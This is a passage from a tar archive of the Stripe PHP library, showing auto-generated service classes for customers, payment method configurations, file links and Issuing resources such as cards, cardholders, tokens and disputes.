$this->requestCollection('get', $this->buildPath('/v1/customers/%s/sources', $parentId), $params, $opts); } /** * Returns a list of tax IDs for a customer. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxId> */ public function allTaxIds($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/customers/%s/tax_ids', $parentId), $params, $opts); } /** * Creates a new customer object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/customers', $params, $opts); } /** * Creates an immutable transaction that updates the customer’s credit <a * href="/docs/billing/customer/balance">balance</a>. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerBalanceTransaction */ public function createBalanceTransaction($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/balance_transactions', $parentId), $params, $opts); } /** * Retrieve funding instructions for a customer cash balance. If funding * instructions do not yet exist for the customer, new funding instructions will be * created. If funding instructions have already been created for a given customer, * the same funding instructions will be retrieved. In other words, we will return * the same funding instructions each time. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FundingInstructions */ public function createFundingInstructions($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/funding_instructions', $id), $params, $opts); } /** * When you create a new credit card, you must specify a customer or recipient on * which to create it. * * If the card’s owner has no default card, then the new card will become the * default. However, if the owner already has a default, then it will not change. * To change the default, you should <a href="/docs/api#update_customer">update the * customer</a> to have a new <code>default_source</code>. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public function createSource($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/sources', $parentId), $params, $opts); } /** * Creates a new <code>tax_id</code> object for a customer. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public function createTaxId($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/tax_ids', $parentId), $params, $opts); } /** * Permanently deletes a customer. It cannot be undone. Also immediately cancels * any active subscriptions on the customer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/customers/%s', $id), $params, $opts); } /** * Removes the currently applied discount on a customer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Discount */ public function deleteDiscount($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/customers/%s/discount', $id), $params, $opts); } /** * Delete a specified source for a given customer. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public function deleteSource($parentId, $id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/customers/%s/sources/%s', $parentId, $id), $params, $opts); } /** * Deletes an existing <code>tax_id</code> object. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public function deleteTaxId($parentId, $id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/customers/%s/tax_ids/%s', $parentId, $id), $params, $opts); } /** * Retrieves a Customer object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/customers/%s', $id), $params, $opts); } /** * Retrieves a specific customer balance transaction that updated the customer’s <a * href="/docs/billing/customer/balance">balances</a>. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerBalanceTransaction */ public function retrieveBalanceTransaction($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/customers/%s/balance_transactions/%s', $parentId, $id), $params, $opts); } /** * Retrieves a customer’s cash balance. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CashBalance */ public function retrieveCashBalance($parentId, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/customers/%s/cash_balance', $parentId), $params, $opts); } /** * Retrieves a specific cash balance transaction, which updated the customer’s <a * href="/docs/payments/customer-balance">cash balance</a>. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerCashBalanceTransaction */ public function retrieveCashBalanceTransaction($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/customers/%s/cash_balance_transactions/%s', $parentId, $id), $params, $opts); } /** * Retrieves a PaymentMethod object for a given Customer. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod */ public function retrievePaymentMethod($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/customers/%s/payment_methods/%s', $parentId, $id), $params, $opts); } /** * Retrieve a specified source for a given customer. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public function retrieveSource($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/customers/%s/sources/%s', $parentId, $id), $params, $opts); } /** * Retrieves the <code>tax_id</code> object with the given identifier. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public function retrieveTaxId($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/customers/%s/tax_ids/%s', $parentId, $id), $params, $opts); } /** * Search for customers you’ve previously created using Stripe’s <a * href="/docs/search#search-query-language">Search Query Language</a>. Don’t use * search in read-after-write flows where strict consistency is necessary. Under * normal operating conditions, data is searchable in less than a minute. * Occasionally, propagation of new or updated data can be up to an hour behind * during outages. Search functionality is not available to merchants in India. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Customer> */ public function search($params = null, $opts = null) { return $this->requestSearchResult('get', '/v1/customers/search', $params, $opts); } /** * Updates the specified customer by setting the values of the parameters passed. * Any parameters not provided will be left unchanged. For example, if you pass the * <strong>source</strong> parameter, that becomes the customer’s active source * (e.g., a card) to be used for all charges in the future. When you update a * customer to a new valid card source by passing the <strong>source</strong> * parameter: for each of the customer’s current subscriptions, if the subscription * bills automatically and is in the <code>past_due</code> state, then the latest * open invoice for the subscription with automatic collection enabled will be * retried. This retry will not count as an automatic retry, and will not affect * the next regularly scheduled payment for the invoice. Changing the * <strong>default_source</strong> for a customer will not trigger this behavior. * * This request accepts mostly the same arguments as the customer creation call. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s', $id), $params, $opts); } /** * Most credit balance transaction fields are immutable, but you may update its * <code>description</code> and <code>metadata</code>. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerBalanceTransaction */ public function updateBalanceTransaction($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/balance_transactions/%s', $parentId, $id), $params, $opts); } /** * Changes the settings on a customer’s cash balance. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CashBalance */ public function updateCashBalance($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/cash_balance', $parentId), $params, $opts); } /** * Update a specified source for a given customer. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public function updateSource($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/sources/%s', $parentId, $id), $params, $opts); } /** * Verify a specified bank account for a given customer. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public function verifySource($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/customers/%s/sources/%s/verify', $parentId, $id), $params, $opts); } } ���������������������������������������������������������������������������������������stripe-gateway/lib/Service/PaymentMethodConfigurationService.php������������������������������������0000644�����������������00000004451�14720677707�0021244 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PaymentMethodConfigurationService extends \Stripe\Service\AbstractService { /** * List payment method configurations. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethodConfiguration> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/payment_method_configurations', $params, $opts); } /** * Creates a payment method configuration. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodConfiguration */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/payment_method_configurations', $params, $opts); } /** * Retrieve payment method configuration. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodConfiguration */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/payment_method_configurations/%s', $id), $params, $opts); } /** * Update payment method configuration. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodConfiguration */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payment_method_configurations/%s', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/FileLinkService.php������������������������������������������������������0000644�����������������00000004242�14720677707�0015431 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class FileLinkService extends \Stripe\Service\AbstractService { /** * Returns a list of file links. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FileLink> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/file_links', $params, $opts); } /** * Creates a new file link object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FileLink */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/file_links', $params, $opts); } /** * Retrieves the file link with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FileLink */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/file_links/%s', $id), $params, $opts); } /** * Updates an existing file link object. Expired links can no longer be updated. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FileLink */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/file_links/%s', $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Issuing/PhysicalBundleService.php����������������������������������������0000644�����������������00000002651�14720677707�0020265 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PhysicalBundleService extends \Stripe\Service\AbstractService { /** * Returns a list of physical bundle objects. The objects are sorted in descending * order by creation date, with the most recently created object appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\PhysicalBundle> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/physical_bundles', $params, $opts); } /** * Retrieves a physical bundle object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PhysicalBundle */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/physical_bundles/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������stripe-gateway/lib/Service/Issuing/TokenService.php�������������������������������������������������0000644�����������������00000003520�14720677707�0016433 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TokenService extends \Stripe\Service\AbstractService { /** * Lists all Issuing <code>Token</code> objects for a given card. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Token> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/tokens', $params, $opts); } /** * Retrieves an Issuing <code>Token</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Token */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/tokens/%s', $id), $params, $opts); } /** * Attempts to update the specified Issuing <code>Token</code> object to the status * specified. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Token */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/tokens/%s', $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Issuing/CardService.php��������������������������������������������������0000644�����������������00000004700�14720677707�0016225 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CardService extends \Stripe\Service\AbstractService { /** * Returns a list of Issuing <code>Card</code> objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Card> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/cards', $params, $opts); } /** * Creates an Issuing <code>Card</code> object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/issuing/cards', $params, $opts); } /** * Retrieves an Issuing <code>Card</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/cards/%s', $id), $params, $opts); } /** * Updates the specified Issuing <code>Card</code> object by setting the values of * the parameters passed. Any parameters not provided will be left unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/cards/%s', $id), $params, $opts); } } ����������������������������������������������������������������stripe-gateway/lib/Service/Issuing/CardholderService.php��������������������������������������������0000644�����������������00000005061�14720677707�0017424 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CardholderService extends \Stripe\Service\AbstractService { /** * Returns a list of Issuing <code>Cardholder</code> objects. The objects are * sorted in descending order by creation date, with the most recently created * object appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Cardholder> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/cardholders', $params, $opts); } /** * Creates a new Issuing <code>Cardholder</code> object that can be issued cards. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Cardholder */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/issuing/cardholders', $params, $opts); } /** * Retrieves an Issuing <code>Cardholder</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Cardholder */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/cardholders/%s', $id), $params, $opts); } /** * Updates the specified Issuing <code>Cardholder</code> object by setting the * values of the parameters passed. Any parameters not provided will be left * unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Cardholder */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/cardholders/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Issuing/AuthorizationService.php�����������������������������������������0000644�����������������00000010175�14720677707�0020217 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class AuthorizationService extends \Stripe\Service\AbstractService { /** * Returns a list of Issuing <code>Authorization</code> objects. The objects are * sorted in descending order by creation date, with the most recently created * object appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Authorization> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/authorizations', $params, $opts); } /** * [Deprecated] Approves a pending Issuing <code>Authorization</code> object. This * request should be made within the timeout window of the <a * href="/docs/issuing/controls/real-time-authorizations">real-time * authorization</a> flow. This method is deprecated. Instead, <a * href="/docs/issuing/controls/real-time-authorizations#authorization-handling">respond * directly to the webhook request to approve an authorization</a>. * * @deprecated this method is deprecated, please refer to the description for details * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function approve($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/authorizations/%s/approve', $id), $params, $opts); } /** * [Deprecated] Declines a pending Issuing <code>Authorization</code> object. This * request should be made within the timeout window of the <a * href="/docs/issuing/controls/real-time-authorizations">real time * authorization</a> flow. This method is deprecated. Instead, <a * href="/docs/issuing/controls/real-time-authorizations#authorization-handling">respond * directly to the webhook request to decline an authorization</a>. * * @deprecated this method is deprecated, please refer to the description for details * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function decline($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/authorizations/%s/decline', $id), $params, $opts); } /** * Retrieves an Issuing <code>Authorization</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/authorizations/%s', $id), $params, $opts); } /** * Updates the specified Issuing <code>Authorization</code> object by setting the * values of the parameters passed. Any parameters not provided will be left * unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/authorizations/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Issuing/PersonalizationDesignService.php���������������������������������0000644�����������������00000004727�14720677707�0021700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PersonalizationDesignService extends \Stripe\Service\AbstractService { /** * Returns a list of personalization design objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\PersonalizationDesign> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/personalization_designs', $params, $opts); } /** * Creates a personalization design object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/issuing/personalization_designs', $params, $opts); } /** * Retrieves a personalization design object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/personalization_designs/%s', $id), $params, $opts); } /** * Updates a card personalization object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/personalization_designs/%s', $id), $params, $opts); } } �����������������������������������������stripe-gateway/lib/Service/Issuing/IssuingServiceFactory.php����������������������������������������0000644�����������������00000002355�14720677707�0020331 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * Service factory class for API resources in the Issuing namespace. * * @property AuthorizationService $authorizations * @property CardholderService $cardholders * @property CardService $cards * @property DisputeService $disputes * @property PersonalizationDesignService $personalizationDesigns * @property PhysicalBundleService $physicalBundles * @property TokenService $tokens * @property TransactionService $transactions */ class IssuingServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'authorizations' => AuthorizationService::class, 'cardholders' => CardholderService::class, 'cards' => CardService::class, 'disputes' => DisputeService::class, 'personalizationDesigns' => PersonalizationDesignService::class, 'physicalBundles' => PhysicalBundleService::class, 'tokens' => TokenService::class, 'transactions' => TransactionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Issuing/DisputeService.php�����������������������������������������������0000644�����������������00000007306�14720677707�0016776 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class DisputeService extends \Stripe\Service\AbstractService { /** * Returns a list of Issuing <code>Dispute</code> objects. The objects are sorted * in descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Dispute> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/issuing/disputes', $params, $opts); } /** * Creates an Issuing <code>Dispute</code> object. Individual pieces of evidence * within the <code>evidence</code> object are optional at this point. Stripe only * validates that required evidence is present during submission. Refer to <a * href="/docs/issuing/purchases/disputes#dispute-reasons-and-evidence">Dispute * reasons and evidence</a> for more details about evidence requirements. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/issuing/disputes', $params, $opts); } /** * Retrieves an Issuing <code>Dispute</code> object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/issuing/disputes/%s', $id), $params, $opts); } /** * Submits an Issuing <code>Dispute</code> to the card network. Stripe validates * that all evidence fields required for the dispute’s reason are present. For more * details, see <a * href="/docs/issuing/purchases/disputes#dispute-reasons-and-evidence">Dispute * reasons and evidence</a>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute */ public function submit($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/issuing/disputes/%s/submit', $id), 